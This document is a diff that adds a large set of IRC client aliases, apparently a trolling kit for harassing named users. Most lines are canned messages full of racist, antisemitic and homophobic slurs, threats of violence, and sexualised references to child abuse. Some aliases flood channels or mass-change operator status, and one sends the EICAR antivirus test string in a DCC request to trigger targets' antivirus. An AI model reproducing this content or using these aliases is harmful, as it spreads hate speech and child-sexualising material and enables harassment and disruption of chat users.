+  ballsak7 = "say $* shut the fuck up im not talking 2 u if i wana talk 2 u then ill address u. got it";
+  ballsak8 = "say $* is a fucking useless jew who's only purpose here is to sow discord amongst the law abiding netizens and induce other people to partake of the sinful joys of homosexuality.";
+  optix = "say $* YOU ARE A FAT KIKE. ALL YOU CARE ABOUT IS YOURSELF AND THE SHIT THAT BENEFITS YOU. IT MAKES ME SICK, YOU MIGHT AS WELL GO LIVE WITH THE JEWS IN NEW YORK AND IF YOU KEEP UP YOUR SHITTY EXCUSE FOR A LIFE THEN START LOOKING INTO FLIGHTS BOUND FOR ISRAEL.";
+  shat = "ctcp $C DCC SCHAT \"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H\" 0 0 0";
+  lumpr = "say $*: just change schools bcuz on monday im ognna kill u dude plum git out here";
+  ballsaka = "say $Z <$*> hello, gentlemen. i am an ill mannered, foul mouthed scheming jackass who's whole purpose in life is to sow discord. please kill me. kthnx.";
+  mirror = "say \00311--^IRC MIRROR^----I-AM-RUBBER-U-R-GLUE-WHATEVER-YOU-SAY-BOUNCES-OFF-ME-AND-STICKS-TO-YOU----vIRC MIRRORv--";
+  ballsakb = "say $* is the laziest troll i've come across. You may think that he's a frisky little creature but if you look closely, you can see the amount of lethargy he packs in. For instance, it takes exactly 150 secs. for him to respond to any msg";
+  aids2 = "say AIDS IS SEXY;say AIDS IS FUNNY;say WE ALL GOT AIDS;say FROM FUCKING YOUR MOM";
+  banan2 = "exec - -out perl -e 'my @hy=qw(HY BANAN THE HAI2U)\\; do { print \\$hy[int rand @hy].\"\\\\n\"\\; } for 1..25\\;'";
+  nullo = "say nullo: i am eternally in love with you for dropping animenfo";
+  pedo = "/say <$0> i never said i was into 12 year olds you fag.. the youngest i go is 15 and thats only if theyre hot";
+  ballsakc = "say $*: none of this matters";
+  ballsakd = "say $*: so what? do you think anyone cares?";
+  ballsake = "say $*: why the fuck should anyone bother about what you said?";
+  ballsakf = "say $*: NEW FLASH! \002NO ONE FUCKING CARES!";
+  ballsakg = "say $*: STOP IT ALREADY. IT DOES_NOT_MATTER";
+  ballsakh = "say $*: YOU SAY LOL AT ANYTHING U SEE IN THIS CHATROOM;say $*: DO YOU THINK ANYONE GIVES A FUCK?;say SURPRISE!!! \002NO ONE DOES";
+  ballsaki = "say \0034ALERT! the chatter named $* is a malicious script. \037It\037 is not a real person. Do not be misled by its messages and do not try to talk to it. Thank you.";
+  ballsakj = "say $0: do not listen to this script named \037$1-\037 he is a BAD influence and a general troublemaker";
+  ballsakk = "say You can prevent $* from infecting your computer machine by pressing Alt+F4";
+  ballsakl = "say $* is a communicable disease and a bane to peaceful internet life. recognise this threat early and act upon it.";
+  ballsakm = "say i can tell. $* is a spie script that has been running rampant all over these parts of the internet;say its primary purpose is to sow discord, collect personal data and cause internet ruckus. nip this threat in the bud.";
+  ballsakn = "say $* is a bad influence on your characters. If you are under the age of 18, do not chat with $*";
+  trogg3 = "exec - -out perl -e 'my @hy=qw(HY WELL KNOWN PACKET KIDDIE TROGG)\\; do { print \\$hy[int rand @hy].\"\\\\n\"\\; } for 1..25\\;'";
+  scroll = "say Iâ€¦AMâ€¦CAUSINGâ€¦YOURâ€¦XTERMâ€¦TOâ€¦BLOG.â€¦THEâ€¦CAUSEâ€¦OFâ€¦YOURâ€¦XTERMâ€¦BLOGGING:â€¦MEâ€¦";
+  viking = "say viking-rage\0030-\00314o\0030-\003meter for \002$*\002\037:\037 \00314[\00311||||||||||||||\00314]   \002\037\00311UP-ENTER";
+  nigbot4 = "say $*: \00313,11u thin' ur cool insultin' sucka's on de internet? dont thin' so";
+  hello = "say $* is CrAzY. his social anxiety disorder is currently battling it out with his \0034G.\0037R.\0038I.\0039D.\00312S. \00313\037/\\\\\037\003 for control over his body. please forgive him.";
+  falso = "say Hi, my name is Najeeri Mongo and I am a quadrapelic who is deaf, dumb, and blind. I also have a very blunted sense of touch. I have spent months learning to read braille with my mouth so that I can come onto the intenet and ask you all to help me. One of the care workers is touching my penis, a lot, and no one seems to be doing anything about it. Please respond if you can help me.";
+  logger = "ctcp $C DCC SEND \"startkeylogger\" 0 0 0";
+  ragema = "say rage-meter for \002$*\002\037:\037 \00314[\0030\037||||||||||||||\017\00314]   \002\037\0030GLOSSY WHITE iRAGE";
+  attn18 = "say \0034,7 /!\\\\\017 $* \0034,7 /!\\\\ ~ MiRc ScRiPt by dashidr";
+  james3 = "say $*: nigga i got ssh boxes lined up across my screen like 30 4 realz i got mad boxes like nobodys business";
+  james4 = "say $*: i dont even care nemore i got all the shit u got dude all the fuken scripts DDoS shit etc k";
+  james5 = "say $*: loL what ever dude could have root on there box an if u told them they wuold say ur lieing til you kill the pid of there server nigga im a fuckin gangsta";
+  mac2 = "say You know the only reason $* has an iphone is so he can slide the smooth casing up his ass and set it on vibrate the dumb fucking \00313F\0036AG\00313GO\0036T";
+  pedo2 = "say  \00314Folder Information\003: \0034(\00314Folder Name\003: C:\\PEDO\\ \0030Â¤ \00314Folder Size:\003 2531.11GB \0030Â¤ \00314Files In Folder:\003 902,122 \0030Â¤ \00314Sub-Directories In Folder:\003 1034 \0030Â¤ \00314Largest File:\003 I FUCK KIDZ.rar \0030Â¤ \00314Largest File Size: 12.56GB\0034) ";
+  ultimate = "say $*: tell you what , i`m gona fuck ur sister at gunpoint u stupid fuken faggot just because i come here for fun and have a clear mind u think i`m really fucking stupid";
+  ultimate2 = "say $*: i`m fucking more educated than u or anyone in ur family you fucking homo try going out of ur fucking house and get in to a decent university for a change";
+  ultimate3 = "say $*: u are just a fuckn stupid arab like all the other 99% who have nothing better to do because they are too stupid to even pass high school so they flood ppl here at irc";
+  ballsako = "say $* if you think your touf think again. u dont know what ur dealing with here so dont piss me off or ill come down to your place and beat you up.";
+  rap2 = "say wow check out $* aka thug life over here following the rap game since the early 80s";
+  rap3 = "say wow check out $* over here who thinks he is a big time record producer keeping up with the Billboard top 50 charts just because he was born in the UK";
+  incog7 = "say i love molesting children";
+  lolleh = "say \00310HAHA\00311HAHA\00314HAHA\00311HAHAHAHA <-\00314- \00311c\00314o\00311u\00314rte\00311sy la\00314ug\00311h!";
+  arop = "mode $C +qoa $0 $0 $0";
+  lollei = "say \0038(Â¯`Â·.\0034(Â¯`Â·.\003 $* \00310.Â·Â´Â¯)\00312.Â·Â´Â¯) ";
+  james6 = "say $*: nigga ill fuck your binary ass up LoL ill make all your 1's turn to 0's";
+  dmx = "say $*: I'm going to drive a remote controlled car into your mother's pussy and have it drive on her clitoris over and over again until she cums on it and it catches on fire and she dies from pussy burning";
+  br = "/say $0 : jump two times?";
+  br2 = "/say $0 : fasttrack it walks to psychologist because these patient not save nothing of anything is not a stupid patient";
+  ballsakp = "say $*: you used big words before you were kicked from the room. If you use those sort of words, then that means you have some brains. If you have a little bit of knowledge of those sort of words, then you're capable of being serious and debating one of us in here. So are you up for the challenge? Do you think you're confident enough to be normal with us and engage in a discussion?";
+  br3 = "/say $0 : god im getting a real bitch tonight... was as snakes done to me?";
+  br4 = "/say i used to tell this emo bitch I knew that my cactus was my only real friend";
+  packet9 = "/say $0 : hay look lek i fucken card servesr shells dude ddos shit every day ok hack into .govs u fukn punk ass bitch the day the feds come to my  door first words out of my mouth: finally so dont even think of fucking with me fagget";
+  haroin = "/say $0 : just biding my time until your herion junkie ways cause you to OD and I don't have to deal with you anymore and neither does the world.";
+  heroin = "/say $0 : just biding my time until your herion junkie ways cause you to OD and I don't have to deal with you anymore and neither does the world.";
+  packet10 = "/say $0 : how about i do a nice icmp ping, figure out where you are and what you are on, spawn your command.com to a port of my choice and log in with telnet and have a field day with you.";
+  cribs = "/say \0032cribs \0030and \0034bloods";
+  fuck = "with";
+  packet11 = "/say $0 : how about i make nice googlepages web site dedicated to you and then shut it down unexpectedely?";
+  packet12 = "/say $0 took my channel i will ddos your entire shell company we will see who will beg then sucker $0, we will see only because of $0, $0 is going down i am so pised off :), i invited him as a friend and he took my channelthat cock fucker he thinks that he runs a shell com and he is boss, if you wanna play ruff i can be very bad boy :)";
+  flows = "/say $0 : ay no disrespect yr flows got substnc/dope. neway i'm dun sucking dick. 2dlz. dnt drop me plz";
+  azn = "/say $0 : fuck you all AZN PRYDE TRIAD WITH 500k ppl fkin bigest gang in the worldï»¿ fuckers AZN 4 LYFE";
+  kkk = "/say $0 : Wow, people yell WHITE POWER like the KKK has actually done anything useful lately. Neo Nazis have a little more to show, Watch American History X stupid ass crackers. [Yes Im white, and no, I dont like Niggers, Black people are fine, but there is a BIG ass difference between the two.] So before you Yell WHITE POWER, Realize the KKK are a bunch of unorganized hillbillies who do nothing but walk in a bathrobe and talk about what they hate.";
+  youfag = "/say $0 : Every place has an crime. Your just talking stupid. Why would you care about the major city, where black people live. You so damn scared of black people, you wouldn't last in the cityï»¿ without a black person. Yall white people swear you smart. Tell me about white kids shooting school's or white man rapes little kids in church. Talk about how bad about your race, before talking about ours. You Fag.";
+  youfag2 = "/say $0 : i have yet to have a white boy cal me nigger in my face.I've bitch slapped cut them off while driving, smacked them in the back of their heads and call them pussy to their faces....yet, they just stay quiet or walk away.......in here you coward got mouth";
+  crip2 = "/say ists, muhhfuckaaz, thats why im talkin to you, i aint scared o f it, you know what im sayin so you just come my way you gonna be hurtin bad, so dont do nothin to him again (FUCK PENISPUMP) fuck last but not least fuck penis pump heads thats old gangsta crip dont let me have to come back again thats it movin";
+  jupe = "/say i was hoping you would allow me to retake the nick $0 as i have been using it since 1997. my bnc client recently died and that is when the nick was taken, i hope this isn't too much of an imposition, thanks for your considerartion.";
+  crip3 = "/say \0030whoa look its some old washed up \0032crip \0030that is still alive because he never got into real shit hangin out in a fat white kids house with toilet paper on the desk being recorded by the fat white kid for a youtube video on the internet talkin shit about penispump <- a crip saying penispump \0030,2THATS SOME OG CRIP SET REPPIN GANGSTA SHIT";
+  wepumpin = "/say \0032,13............................................................................................................................................................................................[http://wepump.in]............................................................................................................................";
+  allah = "/say $0 : yr boy crupt got thrown into a jealous rage and +b'd on zionist pretenses that i'm antijewsistan. ";
+  allah2 = "/say $0 : idk mb the verse wasn't allahblessed";
+  allah3 = "/say $0 : i mean i ain't all hu hu hu hu bt it dznt mean i can't write shit abt it. maybe that verse is homo idnt know. i guess i should keep that srs bullshit t the fifth n the jm47 if that i dnt  no mb its wack";
+  allah4 = "/say $0 : stop ribbing 7^8 my pussyz sprewellin' 4 vxp sumtimes tho tru";
+  oper = "oper";
+  halo = "/say $0 : Ok so if my parents died and if I didn't have friends who wanted to be the best Halo 2 players in thw world, I'd probably go rape Paris Hilton then kill myself.";
+  whoracle = "/say \0032,4beans and strawberries";
+  mre = "/say $0 : listen boyo... you want a war, i can give you one you need to keep my channel out of your stupid bullshit or i'll set you straight like you've never been you feel me?";
+  mre2 = "/say $0 : you're a fuckin peon get a job you ever been laid? flood my channel again and i will fuck you up get a life... get laid get off efnet";
+  vx = "/say ey vx` \0032=/#=";
+  cheerio = "/say $0 : #real cool you always threaten ddos ITS FUCKING NOT FUNNY we dont care about ddos why wouoldnt i like u i use you faggots to pass time at work";
+  mdop = "/deop -yes *";
+  mop = "/op -yes *";
+  pumpbox = "/dns ya.wepump.in; /dns infected.dickscab.com; /dns insert.nutsinass.org; /dns dieforirc.com; /dns rape.feti.sh; /dns nagasaki.xn--48jwgybuise.jp; /dns reps.penis-pump.org; /dns carbomb.on.muslim.st; /dns pp4l.org; /dns ra.p0r.org; /dns synthte.ch; /dns anal.thru.st; /dns blew.afu.se; /dns joint.roa.ch; /dns hasidic.jews.org.il; /dns u.dead.org; /dns lazy.niggers.cn; /dns exploits.efnetsluts.com";
+  qed = "/say ur a shining beacon of diversity and metamorphosis";
+  g00n = "/say dont get me wrong $0, i look buff but not too big.. the best way to describe it would be male model.. or, in other terms, 100 times better than you; /say pubic hair is manscaped into a heart shaped patch and im well tanned all over -including my cock- its quite a sight to behold";
+  cum = "/say $0 : I've learned over the last week that I really like oral sex. I've learned that every guy tastes differently and overall I like the taste. But. Cum is best served fresh and hot. Cold cum  is not my idea of a good meal.";
+  smart = "/say hey everyone im here to chat about real things and if your iq is lower than 135 do me a favor and part the channel because you wont be able to keep up";
+  youre = "/say look its not hard, your isnt you're.. you're is YOU ARE. jesus. did you even make it out of 8th grade. can you even COUNT TO EIGHT, fuckin your an IDIOT.. and im sure right now your eaiting to CORRECT ME on using your in the wrong context now that i've TAUGHT YOU HOW TO USE IT OMG JESUS";
+  kicking = "/say i kicking your ass tommorow";
+  dance = "/say \0034WARNING: \00313narcs \0039can \0038DANCE";
+  packet13 = "/say ill fuckin heel hook u $0";
+  cvbe = "/say \0030lol @ $0 doding what i said";
+  lek = "/say $0 grow afucking pair... im so sickof u doing this to ur self. u think poeple dont like u and all of this people fuckin love u.people fucking care about u like me..u might not think that but its true... and ur being fucking stupid doing this...";
+  lek2 = "/say $0 : you think I fear ddos? I have already a hand full in my hand";
+  lek3 = "/say you cock sucking jew, go whine about some arab banning you from a channel and tell her to call the police on me, you worthless  piece of shit, i shall ignore you from the internet, grats, you're in my shitlist vixey";
+  ass = "/say one night, about 2am I stopped at a red light and these to boys, about ten, come in front the first row of cars, and one of them drops his shorts, bend over like a pole dancer and the other one proceeded to lick his asshole. Then they exchanged positions. Than the light turned green and we took off.";
+  noob = "/say stfu noob what are you gonna do shoot me with your noob bullets rofl you have to hack to headshot me what a faggot nub";
+  vigilant = "/say $0 : shut the fucking up, shut the fuck up bro, Dont piss me off, LOL HAHAHAHA, he is elite, Which channel you talking about now?";
+  camping = "/say $0 : I go camping in the hills to a cabin in the mountains just outside of fairplay, co (also know as South Park) Watching the stars out there without the city light's saturation is pretty cool, theres a telescope up there and once you get the hang of it makes for a pretty surreal experience. Anyways, im rambeling so if youre interested, lets get together for a drink and get to know each other! ";
+  ramprat = "/say yesterday i bought a shirt and it was an inch too long, so i took it back and the lady at the register was about a sfat as the last girl i fucked on myspace except this girl had purple hair and looked good in her fug boots, but anyway i tried having sex with her but failed and came home and talked about how i want to buy a car on ebay, but i wont, but ill talk about it, ^_^";
+  ramprat2 = "/say $0 : i bought a car on ebay tho, it doesnt drive, i got it's myspace";
+  g00n2 = "/say why would i ever take a break from irc if i didnt have a reason? all these years of battle and you think i'd really part for purely emo reasons? its true, i was annoyed. But i parted because i needed to for finals. Being pissed helped... but it wasnt the reason.";
+  ip = "/invite $0 #wepump";
+  mp = "/invite $0 #masspump";
+  summer = "/say WHEN U R READING THIS DONT STOP OR SOMETHING BAD WILL HAPPEN MY NAME IS SUMMER I AM 15 YEARS OLD i have BLONDE HAIR , SCARS no NOSE OR EARS I AM DEAD IF U DONT COPY THIS JUS LIKE FROM THE RING COPY N POST THIS ON 5 MORE CHANNELS OR I WILL APPEAR ONE CREEPY NIGHT WEN UR NOT ExPECTING IT BY YOUR BED WITH A NIFE AND KILL U THIS IS NO JOKE SUMMET ING GOOD WILL HAPPEN TO U IF YOU POST THIS ON 5 MORE CHANNELS";
+  bp = "/invite $0 #bigpumpin";
+  ddos = "/say most people on irc the ones that you see with the quit \"operation timed out\" thats because $0 has control of a giant botnet that he uses to ddos people.. so be careful what you say about him or any of his friends or online girlfriends..";
+  ke = "/say so today whiel waiting for the bus;/say i saw a tranny with a stroller (pics inc);/say and some crazy hippy chick dancing around while he friend filmed her;/say with incense and spraying some kind of shit up her skirt";
+  superbad = "/say when i was a lil kid i kinda had this problem and its not even that big of a deal somethin like 8% of kids do it but whatever for some reason id unno i jus tkinda sit around all day and draw pictures of dicks";
+  g00n4 = "/say $0 : i can direct you to your local Colden Corral though, i think thats more your pace...";
+  goof = "/say $0 : don't like your shell too much eh goof watch what 5000 bots do to it hahahahaha see ya goof";
+  goof2 = "/say $0 : ill make sure u and yer lil buddy over there find out what its like to get glined from EFnet";
+  goof3 = "/say $0 : see u on the no inet side";
+  packet14 = "/say $0 : try not yo fuck youre sister on the way out";
+  packet15 = "/say $0 if you wanna bump lets go nig-ga";
+  lilj = "/say <$0> HEY WUT UP YALL THIS YA BOY $0 AND THIS LITTLE BOY RIGHT HERE AINT SCARED OF NOBODY SO IF YOU GOT ANYTHING TO SAY TO ME YOU CAN SAY IT TO MY MOTHERFUCKIN FACE OR HIT ME UP ON MY MOTHERFUCKIN MYSPACE AIGHT THEN AND THIS LITTLE BITCH RIGHT HERE WILL FUCKIN KILL YO ASS NI-GUH SO IF YOU HAVE ANYTHING TO SAY YOU CAN SAY IT TO ME AND IF YOU WANNA BUMP LETS GO CUZ I AINT SCARED OF YOUR MOTHERFUCKIN ASS ";
+  crash = "/say hey girl, kind of crash are u into? im all about Crash2Wrk / Crash2Bur / Crash2Irc / Crash2Boo / Crash2die/ Crash2rky / Crash2Mas / Crash2008 / Crash2brn / phecrash2burnice^";
+  botflood = "/say .bc * dump privmsg #$0 :\0034,4LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\0035,5LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\0034,4LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\0035,5LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL\0032nigger.";
+  johne = "/say [05-Beatles-non-solo-ft.ringo-george-paul-and-johne-Live-and-Let-die.mp3][171kbpso6.1mbo04:45mins]";
+  toad = "/say $0 : u fkn faggot i sware 2 god if u try me like that again i'm gunna push yer face n2 the curb and kick the back of yer head with my steel toad boots. i sware bro u r the biggest fkn idiot i evr met and if u think for 1 secnd ur getting away with this then u better consult ms cleo becuz even she can see ur dyas are numb3r3d";
+  pj = "/invite $0 #pumpjuice";
+  myspace = "/say $0 : uh myspace isnt lame, its the #1 site on the internet, those numbers don tlie, plus its for people that found out how lame IRC is and made a mvoe to the mature side of the internet, stop trying to troll here";
+  packet16 = "/say $0 : you look like a chipmunk version of the guy who plays spiderman.";
+  dog = "/say http://img502.imageshack.us/img502/3126/2nauteg.gif";
+  dog2 = "/say $0 : I've already been burnt hard with the \"You are Asian you would have eaten the dogs already\" jokes. So Save it.";
+  dog3 = "/say $0 : Yes, I would have eaten the dogs in a situation like this. Better to have some dog meat instead of starve to death or heaven for bid head down to a Wal-Mart and get shot by Troops defending the fall stock of Nikes.";
+  dog4 = "/say $0 : Everytime I watch the news there's some calamity about \"dogs being left behind\" or \"pets drowning\" or \"White boy cries about losing his dog.\"";
+  dog5 = "/say $0 : FUCK YOUR DOG MAN";
+  digg = "/say http://digg.com/odd_stuff/$0";
+  sec = "/say $0 : how are you going to compete with the likes of eastern washington, linfield college and loyola maramount? u aint";
+  sec2 = "/say $0 : you cant fuck with delta state, the fighting \0033okra";
+  shawn = "/say $0 : heeh. i would like to meet some people from irc or what not, those 'asshole' people.. So i can punch them in the mouth";
+  shawn2 = "/say $0 : they can sit behind their keyboard and make fun of everyone and get off on it, because no one can punch them in the mouth";
+  shawn3 = "/say $0 : before internet, people had respect for other people, because if you didn't, you'd get hit";
+  packet17 = "/say $0 : so better not to ddos me or i fuck ur mother";
+  oper2 = "/say \0030EVERYONE ---- \0034 CAUTION CAUTION \0030 ----- AN OPER HAS ENTERED TEH ROOM AND MADE THEIR PRESENCE KNOWN PROCEED WITH \0034CAUTION";
+  ddos2 = "/say nigga i cc u out of existence $0, u dont even want to mess with the 400 hackers i got sittin around waitin on ur ip nigga, they ready to knock out 20 ISP's bro";
+  tetedupet = "/say OK LOL TETEDUPET STEPPED TO ME AND I GOT HIM TO FUCK UP AND KILL ME TOO MUCH, HE GOT SUSPENDED THEN WHEN HE CAME BACK HE GOT DEMOTED TO LOCAL OLINE FROM GLOBAL, NOW, LOL, HE QUIT BEING AN OPER CAUSE HE SHIT ON HIMSELF SO HARD - I REPEAT TETEDUPET IS NO LONGER AN OPER LOL EPIC WIN FOR PENISPUMP";
+  dong = "/say hi $0, me your dong yet?";
+  hozkinz = "/say $0 : do you want to buy an ikariam account, with 2 cities, in a shit xenufag clan, with wine and marble?";
+  voicepj = "/say .bc * dump mode #pumpjuice +v $0";
+  chuggo = "/say These guys are taking Chuggo to a whole new level, and this video has shit I don't remember from the original so now I have to rewatch that to see if this guy is just really clever at editing or there's a new version. Oh shit, they did update the original video, or else I've always just been really drunk when I watched it. Them driving in the car with the skull as the hood ornament is now my new favorite bit. ";
+  ddos3 = "/say \0034OK SERIOUSLY SHUT THE FUCK UP RIGHT NOW BEFORE I HACK EVERYONE IN THIS FUCKING CHANNEL AND DDOS THE ENTIRE INTERNET. IT TAKES A LOT TO GET ME MAD ENOUGH TO TYPE IN CAPS *AND* RED BUT YOUVE DONE IT. FUCK YOU AND EVERYTHIGN YOU STAND FOR. FUCK YOU. ID QUIT IRC BUT I STILL HAVE A SCORE TO SETTLE WITH YOU BOYO.";
+  typo = "/say \0030caution: it has been noticed that a _typo_ has been used as a \0034_counter-troll_\003-. \0030No matter the validity of the trolling parties statements, all points have been \0030,2TSUNAMI'D\0030,1 by the typo itself.";
+  mirc = "/say i just wanna learn mirc so i can move on with my life";
+  egg = "/say $0 : \0030go boil a chilean bat egg (boiled.egg.cl) if n0t 3kbps \0034ddos \0030comin";
+  windows = "/say $0 :Instead of typing Exit at a DOS prompt and having your computer restart when you want to get back into Windows, simply type \"win.\" (without quotes)";
+  windows2 = "/say $0 : You can quickly locate a file from a DOS prompt by typing \"dir/s (filename)\"";
+  windows3 = "/say $0 : If you are in DOS, you may notice that your folders with long names are missing. Actually, they are not. DOS reads only the first 6 characters and then puts in a ~ symbol, followed by a number.";
+  windows4 = "/say $0 : DOS won't recognize a filename with a space in it. The solution to this is simple, just put the path of the file in quotes. This is also true for the Run command line, you have to use quotes for filenames that have spaces in them.";
+  windows5 = "/say $0 : If you have old MS-DOS applications, you might want to run them with a full-screen. To run them in full-screen mode, open the MS-DOS application and press Alt+Enter. To switch back, simply press Alt+Enter again.";
+  windows6 = "/say $0 : If you see a cool picture on the Internet, you can put it on your desktop as wallpaper. ";
+  windows7 = "/say $0 : To quickly create a shortcut to a web site on your Desktop, simply right-click a URL and click Copy Shortcut while browsing. Switch to you Desktop, position your mouse where you want the shortcut to appear, right-click your mouse and click Paste Shortcut. The new shortcut will immediately appear!";
+  windows8 = "/say $0 : If you run out of room on your disk, before you start deleting files, try emptying the Recycle Bin. To do this you must first open Windows Explorer.";
+  africa = "/say ONE DAY....Africa going to save her children from you and your kind. We are GOD. Not you.";
+  lady = "/say (.Y.) ;/say  ).( ;/say ( v )";
+  link = "/say never fails when i think ive seen all the internet someone pastes a link ive never seen, wtf";
+  gettroll = "exec - -out perl -MLWP::Simple -e \"getprint 'http://rolloffle.churchburning.org/troll_me_text.php'\" 2>/dev/null";
+  flud = "/exec -o cat /home/v/ascii/$0.txt";
+  phreek = "/say \0038,8_____\0031,1 \00315,1-> \0034phreeks head";
+  foam = "/say last night i filled my girls cunt with expanding foam she was dead in 5 mins";
+  arm = "/say wanna see a pic of my arm?;/say http://www.getgreatguns.com/images/gg_img_armfloat.jpg";
+  emot = "/say (._.\")";
+  emot2 = "/say (o_o')";
+  mv = "/voice -yes *";
+  black = "in";
+  comeback = "/say hey $0 how about i play a random alias from my /aliases we've all seen before, but expect it to be witty AND funny at the same time, go c/p another blog fgt. seriously the nerve on some of these fucks.. i would go into detail about how $0 used to hang out at my house and hit on my sister.. he was 14 she was 7, but ill leave that in the past.. just like his alias";
+  honest = "/say liking to watch guys fuck doesnt make me gay it makes me honest";
+  cock = "/say HEY $0, why dont you post your biggest cock pic and prove how much of a man you are.";
+  panda = "/say $0 : alguem me pode ajudar com uma xbox360?";
+  argh = "/say Five score years ago, a great American, in whose symbolic shadow we stand today, signed the Emancipation Proclamation. This momentous decree came as a great beacon light of hope to millions of negro slaves who had been seared in the flames of witherAHHHH C'MON FUCK A GUY";
+  br5 = "/say lick my buttery biscuits";
+  b6 = "/say why dont you go read some books and learn emotions";
+  br6 = "/say why dont you go read some books and learn emotions";
+  br7 = "/say $0 i dropped my BLACKBERRY in the FINANCIAL DISTRICT stepping out of my HELICOPTER";
+  old = "/say $0: were you fully serious on the internet when you first started? or did you develop that like a typical old person later in your internet life";
+  drama = "/say insect hacked yeti.xzibition and has brrn trying to ban bryand bots for 5 days";
+  drama2 = "/say insect has been plannkng this and is fucking bryan over irl";
+  starwars = "/say starwars are lookin for a bunch of dumb people to do a life sentce bein thier fukboy if u would like to sign for a life sentce in a fag bar plz pm me asap";
+  cflood = "colourflood -fg $0 -bg $1 -w1 $2 -w2 $3";
+  hzu = "/colourflood -fg green -bg yellow -w1 NIGGERS -w2 I GOT JUICE";
+  hzu2 = "/colourflood -bg red -fg yellow -w1 RIPPED -w2 TITS";
+  hzu3 = "/colourflood -fg yellow -bg red -w1 RAMPRAT -w2 NICE DRESS";
+  hzu4 = "/colourflood -bg blue -fg purple -w1 PURPLE -w2 DRANK";
+  hzu5 = "/colourflood -bg green -fg red -w1 MERRY DIXMAS -w2 HAPPY JEW YEAR";
+  moonlight = "/say .l t3hh6x";
+  wiley = "/say $0 : Irssi: Unknown command: 10";
+  wallnazi = "/wallops \0035,5--------------------------";
+  clorox = "/say $0 : i really only deal with hackers";
+  clorox2 = "/say $0 : you wanna meat up and have some coffee or somethin?";
+  clorox3 = "/say $0 : believe me if i wanted your ducks i'd have it";
+  wave = "/say $0 : ride the ¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯`·.¸¸.·´¯";
+  tough = "/say listen u little runt, all u ever say is \"$0\". u think ur a frickin tough guy or some sh*t like ur so cool u frickin fagget no1 here even frickin likes u so just get the frick out b4 i embaras the frick ouuta u u frickin fag";
+  scary = "/say that nigger is looking at me through a digital camera in $0's hand through the internet and onto my screen";
+  morph = "/say some dumbshit was badmouthing the channel, then I proceeded to insult him for being a whining cunt and he morphed into an OP on my ass and banned me right quick";
+  comeback2 = "/say how about i do a nice alias revamp and give you funny shit to say that hasnt been said 80 times, then people will actually read what you say and not ignore it";
+  "#join" = "/say $0 if thats the case u a butt hole boy scout cuz aint nobody talkin 2 yo dumb ass";
+  boots = "/say $0: i want to hold ur lil irc hands and mold you into a real irc woman";
+  synapze = "/say we got 5 different hacking crews working on you guys";
+  superop = "/op $0; /op $0 $0; /op $0 $0 $0; /op $0 $0 $0 $0; /op $0 $0 $0 $0 ; /op $0 $0 $0 $0; /op $0 $0 $0; /op $0 $0; /op $0; /op $0 $0; /op $0 $0 $0; /op $0 $0 $0 $0; /op $0 $0 $0 $0 ; /op $0 $0 $0 $0; /op $0 $0 $0; /op $0 $0; /op $0";
+  "#john" = "/say lol go try and find yourself a life nerd";
+  xbox = "/say $0 : between travelling in my helicopter for press conferences and going to exclusive clubs in downtown chicago i hardly have time for xbox 360";
+  amph = "/say $0 : and i don't care how much you sing either, i've written more exploits, more articles onexploiting, and i've got more fellonies than you";
+  amph2 = "/say $0 : i've been more places that you don't want to be";
+  fail = "/say are you embarassed by that enormous pile of fail you just sat down and let out onto the toilet known as IRC?";
+  kill = "you";
+  porno = "/say Me Luv Teeny Weenie ft. $0 XXX DVDRiP XviD-GLAMOUR (#42)";
+  face = "/say i will continue to pwn you and your fools for as long as it takes for you to realize that i am not your fags and my channels are not here for your fags to join.";
+  help = "help";
+  phreak = "/say $0 : Guess what, asshole? I was one of the earliest hackers in the 1980s. I KNEW Kevin Mitnick. Phone Phreaking is as secondary to me as skullfucking your daughter. I'm going to keep calling your house, OVER AND OVER, and the phone company will NEVER be able to trace the call. You're going down";
+  samy = "/say samy, grant me the serenity to accept the things I cannot change, the courage to change the things I can, and the wisdom to know the difference";
+  ps3 = "/say AP(P4l) - In response to XBOX 360 success and considerable difference in price. Iko Naguyuki has announced the 40gb ps3 will drop to 249 dollars starting Aug 1st 08 in America and will be bundled with the ever popular Grand Theft Auto IV. ";
+  sorry = "/say We here at Penis Pump Inc. regret to inform you that we are weeding out anyone that wasnt around during the initial creation of Penis Pump, do not take offense to this you are part of a large group of people who will not be included in further pumping. To be included in the future, track down who lofi is (the guy with the nj comcast host) and we can forget about moles. Thank you for understanding - Management.";
+  rape = "/say unless my life improves in the next 5 months, im planning on killing myself on the fourth anniversary of my rape.";
+  ozkoe = "/say yall ;/say dont ;/say know ;/say me ;/say o ;/say z ;/say k ;/say o ;/say e ;/say servin all the \0030fiends";
+  smell = "/say Elephants can tell ethnic groups that hunt them from those that do not, by smell.";
+  emo4 = "/say I am so depressed sucide is to much work even as a prefectionist, I alas have nothing. And am a lost soul, and cuase, christan despite everything nice she tried to do for me scared me. I dont want to build that repution here, Its my time soon, its coming and I gave up.";
+  emo5 = "/say If people go out their way to avoid, me I have sought help to my understanding of my own insanity. Than I have no reason to further exisit, no reason to be around any longer, My time is up and now kissed with fate.";
